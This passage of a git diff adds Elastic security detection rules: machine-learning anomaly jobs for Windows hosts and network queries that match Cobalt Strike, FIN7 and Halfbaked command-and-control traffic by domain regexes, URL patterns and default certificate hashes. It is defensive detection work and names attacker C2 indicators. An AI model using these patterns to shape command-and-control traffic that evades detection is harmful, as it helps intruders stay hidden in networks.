quarterly workflow could trigger this + detection rule. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_rare_metadata_process", "v2_windows_rare_metadata_process"] +name = "Unusual Windows Process Calling the Metadata Service" +risk_score = 21 +rule_id = "abae61a8-c560-4dbd-acca-1e1438bff36b" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_metadata_user.toml b/rules/ml/ml_windows_anomalous_metadata_user.toml new file mode 100644 index 000000000..353e269b6 --- /dev/null +++ b/rules/ml/ml_windows_anomalous_metadata_user.toml @@ -0,0 +1,29 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +Looks for anomalous access to the cloud platform metadata service by an unusual user. The metadata service may be +targeted in order to harvest credentials or user data scripts containing secrets. +""" +false_positives = [ + """ + A newly installed program, or one that runs under a new or rarely used user context, could trigger this detection + rule. Manual interrogation of the metadata service during debugging or troubleshooting could trigger this rule. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_rare_metadata_user", "v2_windows_rare_metadata_user"] +name = "Unusual Windows User Calling the Metadata Service" +risk_score = 21 +rule_id = "df197323-72a8-46a9-a08e-3f5b04a4a97a" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_network_activity.toml b/rules/ml/ml_windows_anomalous_network_activity.toml new file mode 100644 index 000000000..4c1f8642e --- /dev/null +++ b/rules/ml/ml_windows_anomalous_network_activity.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies Windows processes that do not usually use the network but have unexpected network activity, which can +indicate command-and-control, lateral movement, persistence, or data exfiltration activity. A process with unusual +network activity can denote process exploitation or injection, where the process is used to run persistence mechanisms +that allow a malicious actor remote access or control of the host, data exfiltration, and execution of unauthorized +network applications. +""" +false_positives = ["A newly installed program or one that rarely uses the network could trigger this alert."] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_anomalous_network_activity_ecs", "v2_windows_anomalous_network_activity_ecs"] +name = "Unusual Windows Network Activity" +note = """## Triage and analysis + +### Investigating Unusual Network Activity +Detection alerts from this rule indicate the presence of network activity from a Windows process for which network activity is very unusual. Here are some possible avenues of investigation: +- Consider the IP addresses, protocol and ports. Are these used by normal but infrequent network workflows? Are they expected or unexpected? +- If the destination IP address is remote or external, does it associate with an expected domain, organization or geography? Note: avoid interacting directly with suspected malicious IP addresses. +- Consider the user as identified by the username field. Is this network activity part of an expected workflow for the user who ran the program? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Consider the same for the parent process. If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. +- If you have file hash values in the event data, and you suspect malware, you can optionally run a search for the file hash to see if the file is identified as malware by anti-malware tools.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "ba342eb2-583c-439f-b04d-1fdd7c1417cc" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_path_activity.toml b/rules/ml/ml_windows_anomalous_path_activity.toml new file mode 100644 index 000000000..06034d6ae --- /dev/null +++ b/rules/ml/ml_windows_anomalous_path_activity.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies processes started from atypical folders in the file system, which might indicate malware execution or +persistence mechanisms. In corporate Windows environments, software installation is centrally managed and it is unusual +for programs to be executed from user or temporary directories. Processes executed from these locations can denote that +a user downloaded software directly from the Internet or a malicious script or macro executed malware. +""" +false_positives = [ + """ + A new and unusual program or artifact download in the course of software upgrades, debugging, or troubleshooting + could trigger this alert. Users downloading and running programs from unusual locations, such as temporary + directories, browser caches, or profile paths could trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_anomalous_path_activity_ecs", "v2_windows_anomalous_path_activity_ecs"] +name = "Unusual Windows Path Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "445a342e-03fb-42d0-8656-0367eb2dead5" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_process_all_hosts.toml b/rules/ml/ml_windows_anomalous_process_all_hosts.toml new file mode 100644 index 000000000..8367ee3ad --- /dev/null +++ b/rules/ml/ml_windows_anomalous_process_all_hosts.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Searches for rare processes running on multiple hosts in an entire fleet or network. This reduces the detection of false +positives since automated maintenance processes usually only run occasionally on a single machine but are common to all +or many hosts in a fleet. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_anomalous_process_all_hosts_ecs", "v2_windows_anomalous_process_all_hosts_ecs"] +name = "Anomalous Process For a Windows Population" +note = """## Triage and analysis + +### Investigating an Unusual Windows Process +Detection alerts from this rule indicate the presence of a Windows process that is rare and unusual for all of the Windows hosts for which Winlogbeat data is available. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is this program part of an expected workflow for the user who ran this program on this host? +- Examine the history of execution. If this process only manifested recently, it might be part of a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process metadata like the values of the Company, Description and Product fields which may indicate whether the program is associated with an expected software vendor or package. +- Examine arguments and working directory. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Consider the same for the parent process. If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. +- If you have file hash values in the event data, and you suspect malware, you can optionally run a search for the file hash to see if the file is identified as malware by anti-malware tools. """ +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "6e40d56f-5c0e-4ac6-aece-bee96645b172" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_process_creation.toml b/rules/ml/ml_windows_anomalous_process_creation.toml new file mode 100644 index 000000000..abffaa4f3 --- /dev/null +++ b/rules/ml/ml_windows_anomalous_process_creation.toml @@ -0,0 +1,34 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +Identifies unusual parent-child process relationships that can indicate malware execution or persistence mechanisms. +Malicious scripts often call on other applications and processes as part of their exploit payload. For example, when a +malicious Office document runs scripts as part of an exploit payload, Excel or Word may start a script interpreter +process, which, in turn, runs a script that downloads and executes malware. Another common scenario is Outlook running +an unusual process when malware is downloaded in an email. Monitoring and identifying anomalous process relationships is +a method of detecting new and emerging malware that is not yet recognized by anti-virus scanners. +""" +false_positives = [ + """ + Users running scripts in the course of technical support operations of software upgrades could trigger this alert. A + newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_anomalous_process_creation", "v2_windows_anomalous_process_creation"] +name = "Anomalous Windows Process Creation" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "0b29cab4-dbbd-4a3f-9e8e-1287c7c11ae5" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_script.toml b/rules/ml/ml_windows_anomalous_script.toml new file mode 100644 index 000000000..0764a3bed --- /dev/null +++ b/rules/ml/ml_windows_anomalous_script.toml @@ -0,0 +1,30 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected a PowerShell script with unusual data characteristics, such as obfuscation, that may be +a characteristic of malicious PowerShell script text blocks. +""" +false_positives = [ + """ + Certain kinds of security testing may trigger this alert. PowerShell scripts that use high levels of obfuscation or + have unusual script block payloads may trigger this alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "windows_anomalous_script" +name = "Suspicious Powershell Script" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "1781d055-5c66-4adf-9d60-fc0fa58337b6" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_service.toml b/rules/ml/ml_windows_anomalous_service.toml new file mode 100644 index 000000000..eef0e87ca --- /dev/null +++ b/rules/ml/ml_windows_anomalous_service.toml @@ -0,0 +1,31 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual Windows service, This can indicate execution of unauthorized services, +malware, or persistence mechanisms. In corporate Windows environments, hosts do not generally run many rare or unique +services. This job helps detect malware and persistence mechanisms that have been installed and run as a service. +""" +false_positives = [ + """ + A newly installed program or one that runs rarely as part of a monthly or quarterly workflow could trigger this + alert. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "windows_anomalous_service" +name = "Unusual Windows Service" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "1781d055-5c66-4adf-9c71-fc0fa58338c7" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_anomalous_user_name.toml b/rules/ml/ml_windows_anomalous_user_name.toml new file mode 100644 index 000000000..489769bf4 --- /dev/null +++ b/rules/ml/ml_windows_anomalous_user_name.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected activity for a username that is not normally active, which can indicate unauthorized +changes, activity by unauthorized users, lateral movement, or compromised credentials. In many organizations, new +usernames are not often created apart from specific types of system activities, such as creating new accounts for new +employees. These user accounts quickly become active and routine. Events from rarely used usernames can point to +suspicious activity. Additionally, automated Linux fleets tend to see activity from rarely used usernames only when +personnel log in to make authorized or unauthorized changes, or threat actors have acquired credentials and log in for +malicious purposes. Unusual usernames can also indicate pivoting, where compromised credentials are used to try and move +laterally from one host to another. +""" +false_positives = [ + """ + Uncommon user activity can be due to an administrator or help desk technician logging onto a workstation or server + in order to perform manual troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = ["windows_anomalous_user_name_ecs", "v2_windows_anomalous_user_name_ecs"] +name = "Unusual Windows Username" +note = """## Triage and analysis + +### Investigating an Unusual Windows User +Detection alerts from this rule indicate activity for a Windows user name that is rare and unusual. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is this program part of an expected workflow for the user who ran this program on this host? Could this be related to occasional troubleshooting or support activity? +- Examine the history of user activity. If this user only manifested recently, it might be a service account for a new software package. If it has a consistent cadence (for example if it runs monthly or quarterly), it might be part of a monthly or quarterly business process. +- Examine the process arguments, title and working directory. These may provide indications as to the source of the program or the nature of the tasks that the user is performing. +- Consider the same for the parent process. If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "1781d055-5c66-4adf-9c59-fc0fa58336a5" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_rare_user_runas_event.toml b/rules/ml/ml_windows_rare_user_runas_event.toml new file mode 100644 index 000000000..ace03f9b6 --- /dev/null +++ b/rules/ml/ml_windows_rare_user_runas_event.toml @@ -0,0 +1,31 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual user context switch, using the runas command or similar techniques, which can +indicate account takeover or privilege escalation using compromised accounts. Privilege elevation using tools like runas +are more commonly used by domain and network administrators than by regular Windows users. +""" +false_positives = [ + """ + Uncommon user privilege elevation activity can be due to an administrator, help desk technician, or a user + performing manual troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "windows_rare_user_runas_event" +name = "Unusual Windows User Privilege Elevation Activity" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "1781d055-5c66-4adf-9d82-fc0fa58449c8" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/ml/ml_windows_rare_user_type10_remote_login.toml b/rules/ml/ml_windows_rare_user_type10_remote_login.toml new file mode 100644 index 000000000..28d7330af --- /dev/null +++ b/rules/ml/ml_windows_rare_user_type10_remote_login.toml @@ -0,0 +1,37 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual remote desktop protocol (RDP) username, which can indicate account takeover +or credentialed persistence using compromised accounts. RDP attacks, such as BlueKeep, also tend to use unusual +usernames. +""" +false_positives = [ + """ + Uncommon username activity can be due to an engineer logging onto a server instance in order to perform manual + troubleshooting or reconfiguration. + """, +] +from = "now-45m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "windows_rare_user_type10_remote_login" +name = "Unusual Windows Remote User" +note = """## Triage and analysis + +### Investigating an Unusual Windows User +Detection alerts from this rule indicate activity for a rare and unusual Windows RDP (remote desktop) user. Here are some possible avenues of investigation: +- Consider the user as identified by the username field. Is the user part of a group who normally logs into Windows hosts using RDP (remote desktop protocol)? Is this logon activity part of an expected workflow for the user? +- Consider the source of the login. If the source is remote, could this be related to occasional troubleshooting or support activity by a vendor or an employee working remotely?""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "1781d055-5c66-4adf-9e93-fc0fa69550c9" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "ML"] +type = "machine_learning" + diff --git a/rules/network/command_and_control_cobalt_strike_beacon.toml b/rules/network/command_and_control_cobalt_strike_beacon.toml new file mode 100644 index 000000000..0cf487f03 --- /dev/null +++ b/rules/network/command_and_control_cobalt_strike_beacon.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and +exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for +command and control. +""" +false_positives = [ + """ + This rule should be tailored to either exclude systems, as sources or destinations, in which this behavior is + expected. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License v2" +name = "Cobalt Strike Command and Control Beacon" +note = """## Threat intel + +This activity has been observed in FIN7 campaigns.""" +references = [ + "https://blog.morphisec.com/fin7-attacks-restaurant-industry", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", +] +risk_score = 73 +rule_id = "cf53f532-9cc9-445a-9ae7-fced307ec53c" +severity = "high" +tags = ["Elastic", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network OR network_traffic) AND type:(tls OR http) AND network.transport:tcp AND destination.domain:/[a-z]{3}.stage.[0-9]{8}\..*/ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" +id = "T1071" + +[[rule.threat.technique]] +name = "Dynamic Resolution" +reference = "https://attack.mitre.org/techniques/T1568/" +id = "T1568" +[[rule.threat.technique.subtechnique]] +name = "Domain Generation Algorithms" +reference = "https://attack.mitre.org/techniques/T1568/002/" +id = "T1568.002" + + + +[rule.threat.tactic] +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" diff --git a/rules/network/command_and_control_cobalt_strike_default_teamserver_cert.toml b/rules/network/command_and_control_cobalt_strike_default_teamserver_cert.toml new file mode 100644 index 000000000..78c58aa67 --- /dev/null +++ b/rules/network/command_and_control_cobalt_strike_default_teamserver_cert.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/10/05" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +This rule detects the use of the default Cobalt Strike Team Server TLS certificate. Cobalt Strike is software for +Adversary Simulations and Red Team Operations which are security assessments that replicate the tactics and techniques +of an advanced adversary in a network. Modifications to the Packetbeat configuration can be made to include MD5 and +SHA256 hashing algorithms (the default is SHA1). See the References section for additional information on module +configuration. +""" +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Default Cobalt Strike Team Server Certificate" +note = """## Threat intel + +While Cobalt Strike is intended to be used for penetration tests and IR training, it is frequently used by actual threat actors (TA) such as APT19, APT29, APT32, APT41, FIN6, DarkHydrus, CopyKittens, Cobalt Group, Leviathan, and many other unnamed criminal TAs. This rule uses high-confidence atomic indicators, so alerts should be investigated rapidly.""" +references = [ + "https://attack.mitre.org/software/S0154/", + "https://www.cobaltstrike.com/help-setup-collaboration", + "https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html", + "https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-suricata.html", + "https://www.elastic.co/guide/en/beats/filebeat/7.9/filebeat-module-zeek.html", +] +risk_score = 99 +rule_id = "e7075e8d-a966-458e-a183-85cd331af255" +severity = "critical" +tags = ["Command and Control", "Post-Execution", "Threat Detection", "Elastic", "Network", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83 or + tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C or + tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1071" +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" +[[rule.threat.technique.subtechnique]] +id = "T1071.001" +name = "Web Protocols" +reference = "https://attack.mitre.org/techniques/T1071/001/" + + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" diff --git a/rules/network/command_and_control_dns_directly_to_the_internet.toml b/rules/network/command_and_control_dns_directly_to_the_internet.toml new file mode 100644 index 000000000..8394d6ff3 --- /dev/null +++ b/rules/network/command_and_control_dns_directly_to_the_internet.toml @@ -0,0 +1,84 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +This rule detects when an internal network client sends DNS traffic directly to the Internet. This is atypical behavior +for a managed network and can be indicative of malware, exfiltration, command and control, or simply +misconfiguration. This DNS activity also impacts your organization's ability to provide enterprise monitoring and +logging of DNS, and it opens your network to a variety of abuses and malicious communications. +""" +false_positives = [ + """ + Exclude DNS servers from this rule as this is expected behavior. Endpoints usually query local DNS servers defined + in their DHCP scopes, but this may be overridden if a user configures their endpoint to use a remote DNS server. + This is uncommon in managed enterprise networks because it could break intranet name resolution when split horizon + DNS is utilized. Some consumer VPN services and browser plug-ins may send DNS traffic to remote Internet + destinations. In that case, such devices or networks can be excluded from this rule when this is expected behavior. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "DNS Activity to the Internet" +references = [ + "https://www.us-cert.gov/ncas/alerts/TA15-240A", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-81-2.pdf", + "https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml" +] +risk_score = 47 +rule_id = "6ea71ff0-9e95-475b-9506-2580d1ce6154" +severity = "medium" +tags = ["Elastic", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and (event.type:connection or type:dns) and (destination.port:53 or event.dataset:zeek.dns) + and source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" +name = "Command and Control" diff --git a/rules/network/command_and_control_download_rar_powershell_from_internet.toml b/rules/network/command_and_control_download_rar_powershell_from_internet.toml new file mode 100644 index 000000000..bf64d4062 --- /dev/null +++ b/rules/network/command_and_control_download_rar_powershell_from_internet.toml @@ -0,0 +1,90 @@ +[metadata] +creation_date = "2020/07/02" +maturity = "production" +updated_date = "2021/12/06" + +[rule] +author = ["Elastic"] +description = """ +Detects a Roshal Archive (RAR) file or PowerShell script downloaded from the internet by an internal host. Gaining +initial access to a system and then downloading encoded or encrypted tools to move laterally is a common practice for +adversaries as a way to protect their more valuable tools and tactics, techniques, and procedures (TTPs). This may be +atypical behavior for a managed network and can be indicative of malware, exfiltration, or command and control. +""" +false_positives = [ + """ + Downloading RAR or PowerShell files from the Internet may be expected for certain systems. This rule should be + tailored to either exclude systems as sources or destinations in which this behavior is expected. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Roshal Archive (RAR) or PowerShell File Downloaded from the Internet" +note = """## Threat intel + +This activity has been observed in FIN7 campaigns.""" +references = [ + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "https://www.justice.gov/opa/press-release/file/1084361/download", + "https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml" +] +risk_score = 47 +rule_id = "ff013cb4-274d-434a-96bb-fe15ddd3ae92" +severity = "medium" +tags = ["Elastic", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network or network_traffic) and network.protocol:http and + (url.extension:(ps1 or rar) or url.path:(*.ps1 or *.rar)) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1105/" +name = "Ingress Tool Transfer" +id = "T1105" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0011/" +name = "Command and Control" +id = "TA0011" diff --git a/rules/network/command_and_control_fin7_c2_behavior.toml b/rules/network/command_and_control_fin7_c2_behavior.toml new file mode 100644 index 000000000..21726926b --- /dev/null +++ b/rules/network/command_and_control_fin7_c2_behavior.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this +command and control technique, while maintaining persistence in their target's network. +""" +false_positives = [ + """ + This rule could identify benign domains that are formatted similarly to FIN7's command and control algorithm. Alerts + should be investigated by an analyst to assess the validity of the individual observations. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License v2" +name = "Possible FIN7 DGA Command and Control Behavior" +note = """## Triage and analysis + +In the event this rule identifies benign domains in your environment, the `destination.domain` field in the rule can be modified to include those domains. Example: `...AND NOT destination.domain:(zoom.us OR benign.domain1 OR benign.domain2)`.""" +references = [ + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", +] +risk_score = 73 +rule_id = "4a4e23cf-78a2-449c-bac3-701924c269d3" +severity = "high" +tags = ["Elastic", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network OR network_traffic) AND type:(tls OR http) AND network.transport:tcp +AND destination.domain:/[a-zA-Z]{4,5}\.(pw|us|club|info|site|top)/ AND NOT destination.domain:zoom.us +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1071/" +id = "T1071" +name = "Application Layer Protocol" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1568/" +id = "T1568" +name = "Dynamic Resolution" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1568/002/" +id = "T1568.002" +name = "Domain Generation Algorithms" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" +name = "Command and Control" diff --git a/rules/network/command_and_control_halfbaked_beacon.toml b/rules/network/command_and_control_halfbaked_beacon.toml new file mode 100644 index 000000000..74f56e483 --- /dev/null +++ b/rules/network/command_and_control_halfbaked_beacon.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity +algorithm leveraged by Halfbaked implant beacons for command and control. +""" +false_positives = [ + """ + This rule should be tailored to exclude systems, either as sources or destinations, in which this behavior is + expected. + """, +] +from = "now-9m" +index = ["auditbeat-*", "filebeat-*", "packetbeat-*", "logs-endpoint.events.*"] +language = "lucene" +license = "Elastic License v2" +name = "Halfbaked Command and Control Beacon" +note = """## Threat intel + +This activity has been observed in FIN7 campaigns.""" +references = [ + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "https://attack.mitre.org/software/S0151/", +] +risk_score = 73 +rule_id = "2e580225-2a58-48ef-938b-572933be06fe" +severity = "high" +tags = ["Elastic", "Network", "Threat Detection", "Command and Control", "Host"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:(network OR network_traffic) AND network.protocol:http AND + network.transport:tcp AND url.full:/http:\/\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\/cd/ AND + destination.port:(53 OR 80 OR 8080 OR 443) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" +id = "T1071" + +[[rule.threat.technique]] +name = "Dynamic Resolution" +reference = "https://attack.mitre.org/techniques/T1568/" +id = "T1568" +[[rule.threat.technique.subtechnique]] +name = "Domain Generation Algorithms" +reference = "https://attack.mitre.org/techniques/T1568/002/" +id = "T1568.002" + + + +[rule.threat.tactic] +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" +id = "TA0011" diff --git a/rules/network/command_and_control_nat_traversal_port_activity.toml b/rules/network/command_and_control_nat_traversal_port_activity.toml new file mode 100644 index 